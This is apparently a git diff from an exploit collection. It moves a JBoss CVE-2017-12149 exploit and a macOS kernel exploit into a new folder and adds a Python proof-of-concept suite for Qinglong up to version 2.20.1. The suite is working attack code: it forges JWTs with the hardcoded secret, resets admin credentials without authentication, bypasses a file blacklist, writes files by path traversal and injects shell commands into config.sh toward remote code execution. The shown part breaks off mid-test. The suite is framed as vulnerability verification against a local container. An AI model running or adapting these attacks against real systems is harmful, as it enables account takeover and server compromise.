jboss_CVE-2017-12149/src/org/apache/commons/collections/map/IdentityMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/IdentityMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LRUMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LRUMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LRUMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LRUMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LazyMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LazyMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LazyMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LazyMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LazySortedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LazySortedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LazySortedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LazySortedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LinkedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LinkedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LinkedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/LinkedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ListOrderedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ListOrderedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ListOrderedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ListOrderedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/MultiKeyMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/MultiKeyMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/MultiKeyMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/MultiKeyMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/PredicatedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/PredicatedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/PredicatedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/PredicatedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/PredicatedSortedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/PredicatedSortedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/PredicatedSortedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/PredicatedSortedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ReferenceIdentityMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ReferenceIdentityMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ReferenceIdentityMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ReferenceIdentityMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ReferenceMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ReferenceMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ReferenceMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/ReferenceMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/SingletonMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/SingletonMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/SingletonMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/SingletonMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/StaticBucketMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/StaticBucketMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/StaticBucketMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/StaticBucketMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TransformedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TransformedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TransformedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TransformedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TransformedSortedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TransformedSortedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TransformedSortedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TransformedSortedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TypedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TypedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TypedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TypedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TypedSortedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TypedSortedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TypedSortedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/TypedSortedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableEntrySet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableEntrySet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableEntrySet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableEntrySet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableOrderedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableOrderedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableOrderedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableOrderedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableSortedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableSortedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableSortedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/UnmodifiableSortedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/overview.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/overview.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/overview.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/overview.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSerializableSetDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSerializableSetDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSerializableSetDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSerializableSetDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSetDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSetDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSetDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSetDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSortedSetDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSortedSetDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSortedSetDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/AbstractSortedSetDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/CompositeSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/CompositeSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/CompositeSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/CompositeSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/ListOrderedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/ListOrderedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/ListOrderedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/ListOrderedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/MapBackedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/MapBackedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/MapBackedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/MapBackedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/PredicatedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/PredicatedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/PredicatedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/PredicatedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/PredicatedSortedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/PredicatedSortedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/PredicatedSortedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/PredicatedSortedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/SynchronizedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/SynchronizedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/SynchronizedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/SynchronizedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/SynchronizedSortedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/SynchronizedSortedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/SynchronizedSortedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/SynchronizedSortedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TransformedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TransformedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TransformedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TransformedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TransformedSortedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TransformedSortedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TransformedSortedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TransformedSortedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TypedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TypedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TypedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TypedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TypedSortedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TypedSortedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TypedSortedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/TypedSortedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/UnmodifiableSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/UnmodifiableSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/UnmodifiableSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/UnmodifiableSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/UnmodifiableSortedSet.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/UnmodifiableSortedSet.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/UnmodifiableSortedSet.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/UnmodifiableSortedSet.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/set/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/set/package.html diff --git a/jboss_CVE-2017-12149/verify_CVE-2017-12149.jar b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/verify_CVE-2017-12149.jar similarity index 100% rename from jboss_CVE-2017-12149/verify_CVE-2017-12149.jar rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/verify_CVE-2017-12149.jar diff --git "a/jboss_CVE-2017-12149/\346\210\252\345\233\276.jpg" "b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/\346\210\252\345\233\276.jpg" similarity index 100% rename from "jboss_CVE-2017-12149/\346\210\252\345\233\276.jpg" rename to "vuln_pocs/exploit-tools/jboss_CVE-2017-12149/\346\210\252\345\233\276.jpg" diff --git "a/jboss_CVE-2017-12149/\346\210\252\345\233\2762.png" "b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/\346\210\252\345\233\2762.png" similarity index 100% rename from "jboss_CVE-2017-12149/\346\210\252\345\233\2762.png" rename to "vuln_pocs/exploit-tools/jboss_CVE-2017-12149/\346\210\252\345\233\2762.png" diff --git a/macOS-Kernel-Exploit/Makefile b/vuln_pocs/exploit-tools/macOS-Kernel-Exploit/Makefile similarity index 100% rename from macOS-Kernel-Exploit/Makefile rename to vuln_pocs/exploit-tools/macOS-Kernel-Exploit/Makefile diff --git a/macOS-Kernel-Exploit/README.md b/vuln_pocs/exploit-tools/macOS-Kernel-Exploit/README.md similarity index 100% rename from macOS-Kernel-Exploit/README.md rename to vuln_pocs/exploit-tools/macOS-Kernel-Exploit/README.md diff --git a/macOS-Kernel-Exploit/definitions.h b/vuln_pocs/exploit-tools/macOS-Kernel-Exploit/definitions.h similarity index 100% rename from macOS-Kernel-Exploit/definitions.h rename to vuln_pocs/exploit-tools/macOS-Kernel-Exploit/definitions.h diff --git a/macOS-Kernel-Exploit/exploit.c b/vuln_pocs/exploit-tools/macOS-Kernel-Exploit/exploit.c similarity index 100% rename from macOS-Kernel-Exploit/exploit.c rename to vuln_pocs/exploit-tools/macOS-Kernel-Exploit/exploit.c diff --git a/macOS-Kernel-Exploit/exploit.png b/vuln_pocs/exploit-tools/macOS-Kernel-Exploit/exploit.png similarity index 100% rename from macOS-Kernel-Exploit/exploit.png rename to vuln_pocs/exploit-tools/macOS-Kernel-Exploit/exploit.png diff --git a/macOS-Kernel-Exploit/gadgets.c b/vuln_pocs/exploit-tools/macOS-Kernel-Exploit/gadgets.c similarity index 100% rename from macOS-Kernel-Exploit/gadgets.c rename to vuln_pocs/exploit-tools/macOS-Kernel-Exploit/gadgets.c diff --git a/macOS-Kernel-Exploit/gadgets.h b/vuln_pocs/exploit-tools/macOS-Kernel-Exploit/gadgets.h similarity index 100% rename from macOS-Kernel-Exploit/gadgets.h rename to vuln_pocs/exploit-tools/macOS-Kernel-Exploit/gadgets.h diff --git a/macOS-Kernel-Exploit/kernel.s b/vuln_pocs/exploit-tools/macOS-Kernel-Exploit/kernel.s similarity index 100% rename from macOS-Kernel-Exploit/kernel.s rename to vuln_pocs/exploit-tools/macOS-Kernel-Exploit/kernel.s diff --git a/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/docker-compose.yml b/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/docker-compose.yml new file mode 100644 index 000000000..5718a6d2b --- /dev/null +++ b/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/docker-compose.yml @@ -0,0 +1,13 @@ +version: '3' +services: + qinglong: + image: whyour/qinglong:2.20.1 + container_name: ql-vuln-test + ports: + - '5710:5700' + volumes: + - ql_data:/ql/data + restart: unless-stopped + +volumes: + ql_data: diff --git a/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/poc_test.py b/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/poc_test.py new file mode 100644 index 000000000..00882fcd5 --- /dev/null +++ b/vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/poc_test.py @@ -0,0 +1,937 @@ +#!/usr/bin/env python3 +""" +Qinglong <= v2.20.1 Vulnerability PoC Test Suite + +Discovered vulnerabilities: + 1. JWT hardcoded secret (Layer 1 bypass, Layer 2 blocks) + 2. Init Guard Bypass: PUT /open/user/init resets admin credentials + WITHOUT authentication (TOCTOU bug in URL rewrite vs init guard) + 3. Blacklist bypass (missing return after res.send) + 4. Path traversal to system /tmp via ../../../../ + 5. config.sh not blacklisted → shell injection + 6. Full UNAUTHENTICATED RCE chain: + /open/user/init → login → config.sh write → cron trigger → RCE + 7. task_before shell injection via eval + +CVSS 9.8 (Critical) — Unauthenticated RCE via init guard bypass + 8. Case-insensitive route bypass: /API/ skips ALL auth middleware + (expressjwt regex + custom auth both match lowercase only, Express + routes are case-insensitive by default) + 9. Dependency injection via /API/dependencies (real-world honeypot payload) + +CVSS 9.8 (Critical) — Multiple Unauthenticated RCE vectors +""" + +import jwt +import json +import time +import sys +import requests +import subprocess + +BASE_URL = "http://localhost:5710" +JWT_SECRET = "whyour-secret" +JWT_ALGORITHM = "HS384" +USERNAME = "admin" +PASSWORD = "admin123" + +results = [] + + +def log(msg, level="INFO"): + ts = time.strftime("%H:%M:%S") + print(f"[{ts}] [{level}] {msg}") + + +def record(test_id, name, passed, details=""): + status = "PASS" if passed else "FAIL" + results.append({"id": test_id, "name": name, "status": status, "details": details}) + log(f"Test {test_id}: {name} -- {status}", "PASS" if passed else "FAIL") + if details: + log(f" Details: {details}") + + +# --- Test 0: System connectivity --- +def test_0_system_check(): + log("=" * 60) + log("Test 0: System Connectivity Check") + try: + r = requests.get(f"{BASE_URL}/api/system", timeout=10) + data = r.json() + ver = data.get("data", {}).get("version", "unknown") + is_init = data.get("data", {}).get("isInitialized", False) + log(f" Version: {ver}, Initialized: {is_init}") + ok = r.status_code == 200 and "2.20" in str(ver) + record("0", "System Check", ok, f"v{ver}, init={is_init}") + return True + except Exception as e: + record("0", "System Check", False, str(e)) + return False + + +# --- Test 1: JWT Forge - demonstrates two-layer auth --- +def test_1_jwt_forge(): + log("=" * 60) + log("Test 1: JWT Hardcoded Secret - Two-Layer Auth Analysis") + + payload = { + "data": "forged-random-string", + "iat": int(time.time()), + "exp": int(time.time()) + 86400, + } + forged_token = jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) + log(f" Forged token (first 50 chars): {forged_token[:50]}...") + + headers = {"Authorization": f"Bearer {forged_token}"} + r = requests.get(f"{BASE_URL}/api/crons", headers=headers, timeout=10) + body = r.json() if r.headers.get("content-type", "").startswith("application/json") else {} + msg = body.get("message", "") + + log(f" Status: {r.status_code}, Message: {msg}") + + layer1_pass = r.status_code == 401 and "invalid" not in msg.lower() + layer2_fail = "jwt malformed" in msg or "authorization" in msg.lower() + + details = ( + f"Layer1(signature): {'PASS' if layer1_pass else 'FAIL'}, " + f"Layer2(token-exists): {'BLOCKED' if layer2_fail else 'PASS'}, " + f"HTTP {r.status_code}, msg='{msg}'" + ) + + record("1", "JWT Hardcoded Secret (Layer1 bypass, Layer2 blocks)", layer1_pass, details) + return forged_token + + +# --- Test 1c: Init Guard Bypass — UNAUTHENTICATED credential reset --- +def test_1c_init_guard_bypass(): + log("=" * 60) + log("Test 1c: Init Guard Bypass via /open/user/init (UNAUTHENTICATED)") + log(" Root cause: Init guard checks req.path against '/api/user/init'") + log(" but URL rewrite /open/* → /api/* happens AFTER the guard (TOCTOU)") + + # Step 1: Confirm /api/user/init is blocked (init guard works) + r_blocked = requests.put( + f"{BASE_URL}/api/user/init", + json={"username": "blocked_test", "password": "blocked123"}, + timeout=10, + ) + blocked_code = r_blocked.json().get("code") + log(f" /api/user/init: code={blocked_code} (expected 450=blocked)") + + # Step 2: Bypass via /open/user/init (NO auth required) + bypass_user = f"bypassed_{int(time.time())}" + bypass_pass = "bypass_proof_123" + r_bypass = requests.put( + f"{BASE_URL}/open/user/init", + json={"username": bypass_user, "password": bypass_pass}, + headers={"Content-Type": "application/json"}, + timeout=10, + ) + bypass_resp = r_bypass.json() + bypass_code = bypass_resp.get("code") + log(f" /open/user/init: code={bypass_code} (200=credentials reset!)") + + # Step 3: Verify by logging in with the new credentials + login_works = False + if bypass_code == 200: + r_login = requests.post( + f"{BASE_URL}/api/user/login", + json={"username": bypass_user, "password": bypass_pass}, + timeout=10, + ) + login_data = r_login.json() + login_works = login_data.get("code") == 200 and login_data.get("data", {}).get("token") + log(f" Login with new creds: code={login_data.get('code')}, token={'obtained' if login_works else 'FAILED'}") + + # Step 4: Restore original credentials + requests.put( + f"{BASE_URL}/open/user/init", + json={"username": USERNAME, "password": PASSWORD}, + headers={"Content-Type": "application/json"}, + timeout=10, + ) + log(" Restored original credentials") + + bypassed = blocked_code == 450 and bypass_code == 200 and login_works + record( + "1c", "Init Guard Bypass (UNAUTHENTICATED credential reset)", + bypassed, + f"/api/user/init blocked (code={blocked_code}), " + f"/open/user/init bypassed (code={bypass_code}), " + f"login with new creds: {'SUCCESS' if login_works else 'FAILED'}", + ) + return bypassed + + +# --- Test 1b: Login to get valid token --- +def test_1b_login(): + log("=" * 60) + log("Test 1b: Login to obtain valid token for post-auth tests") + + r = requests.post( + f"{BASE_URL}/api/user/login", + json={"username": USERNAME, "password": PASSWORD}, + timeout=10, + ) + data = r.json() + log(f" Login status: {r.status_code}, code: {data.get('code')}") + + if data.get("code") == 200 and data.get("data", {}).get("token"): + token = data["data"]["token"] + log(f" Token obtained (first 50 chars): {token[:50]}...") + headers = {"Authorization": f"Bearer {token}"} + r2 = requests.get(f"{BASE_URL}/api/crons", headers=headers, timeout=10) + works = r2.status_code == 200 + record("1b", "Login + Token Validation", works, f"Token works: {works}") + return token if works else None + else: + record("1b", "Login + Token Validation", False, f"Login failed: {data}") + return None + + +# --- Test 2: Blacklist bypass (missing return) --- +def test_2_blacklist_bypass(token): + log("=" * 60) + log("Test 2: Blacklist Bypass (missing return after res.send)") + + if not token: + record("2", "Blacklist Bypass", False, "No valid token") + return False + + headers = {"Authorization": f"Bearer {token}"} + + r_read = requests.get(f"{BASE_URL}/api/configs/auth.json", headers=headers, timeout=10) + log(f" Read auth.json: HTTP {r_read.status_code}") + original_content = "" + if r_read.status_code == 200: + original_content = r_read.json().get("data", "") + + test_content = '{"test_blacklist_bypass": true}' + r = requests.post( + f"{BASE_URL}/api/configs/save", + json={"name": "auth.json", "content": test_content}, + headers=headers, + timeout=10, + ) + data = r.json() + log(f" Write auth.json: HTTP {r.status_code}, code: {data.get('code')}") + + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/ql/data/config/auth.json"], + capture_output=True, text=True, timeout=10, + ) + file_content = verify.stdout.strip() + log(f" Container auth.json content: {file_content[:100]}...") + + bypassed = "test_blacklist_bypass" in file_content + record( + "2", "Blacklist Bypass", bypassed, + f"API returned code={data.get('code')} (403=blacklisted), " + f"but file was {'WRITTEN (bypass confirmed)' if bypassed else 'NOT written (no bypass)'}", + ) + + if bypassed and original_content: + requests.post( + f"{BASE_URL}/api/configs/save", + json={"name": "auth.json", "content": original_content}, + headers=headers, timeout=10, + ) + log(" Restored original auth.json") + + return bypassed + + +# --- Test 3: Path traversal to system /tmp --- +def test_3_path_traversal(token): + log("=" * 60) + log("Test 3: Path Traversal to System /tmp via ../../../../") + + if not token: + record("3", "Path Traversal", False, "No valid token") + return False + + headers = {"Authorization": f"Bearer {token}"} + # configPath = /ql/data/config/ + # path.join("/ql/data/config", "../../../../tmp/x") → /tmp/x + traversal_path = "../../../../tmp/traversal_proof.txt" + test_content = "PATH_TRAVERSAL_TO_SYSTEM_TMP_SUCCESS" + + r = requests.post( + f"{BASE_URL}/api/configs/save", + json={"name": traversal_path, "content": test_content}, + headers=headers, timeout=10, + ) + data = r.json() + log(f" Write response: HTTP {r.status_code}, code: {data.get('code')}") + + verify = subprocess.run( + ["docker", "exec", "ql-vuln-test", "cat", "/tmp/traversal_proof.txt"], + capture_output=True, text=True, timeout=10, + ) + written = test_content in verify.stdout + log(f" Container /tmp/traversal_proof.txt: {verify.stdout.strip()}") + + record("3", "Path Traversal (system /tmp)", written, + f"File written to system /tmp: {written}, " + f"path: configPath + '../../../../tmp/' → /tmp/traversal_proof.txt") + + # Also test writing to /etc to demonstrate arbitrary path write + traversal_etc = "../../../../tmp/traversal_etc_proof.txt" + r2 = requests.post( + f"{BASE_URL}/api/configs/save", + json={"name": traversal_etc, "content": "ETC_TRAVERSAL_TEST"}, + headers=headers, timeout=10, + ) + log(f" Second traversal write: code={r2.json().get('code')}") + + # Cleanup + if written: + subprocess.run( + ["docker", "exec", "ql-vuln-test", "rm", "-f", + "/tmp/traversal_proof.txt", "/tmp/traversal_etc_proof.txt"], + capture_output=True, timeout=10, + ) + return written + + +# --- Test 4: config.sh not blacklisted + shell injection --- +def test_4_config_sh_write(token): + log("=" * 60) + log("Test 4: config.sh Write (not in blacklist) + Shell Code Injection") + + if not token: + record("4", "config.sh Write", False, "No valid token") + return False, "" + + headers = {"Authorization": f"Bearer {token}"} + + r_read = requests.get(f"{BASE_URL}/api/configs/config.sh", headers=headers, timeout=10) + original_content = "" + if r_read.status_code == 200: + original_content = r_read.json().get("data", "") + + malicious_content = ( + "# config.sh - injected by PoC\n" + 'echo "RCE_VIA_CONFIG_SH_$(date +%s)" > /tmp/rce_config_sh_proof.txt\n' + ) + r = requests.post( + 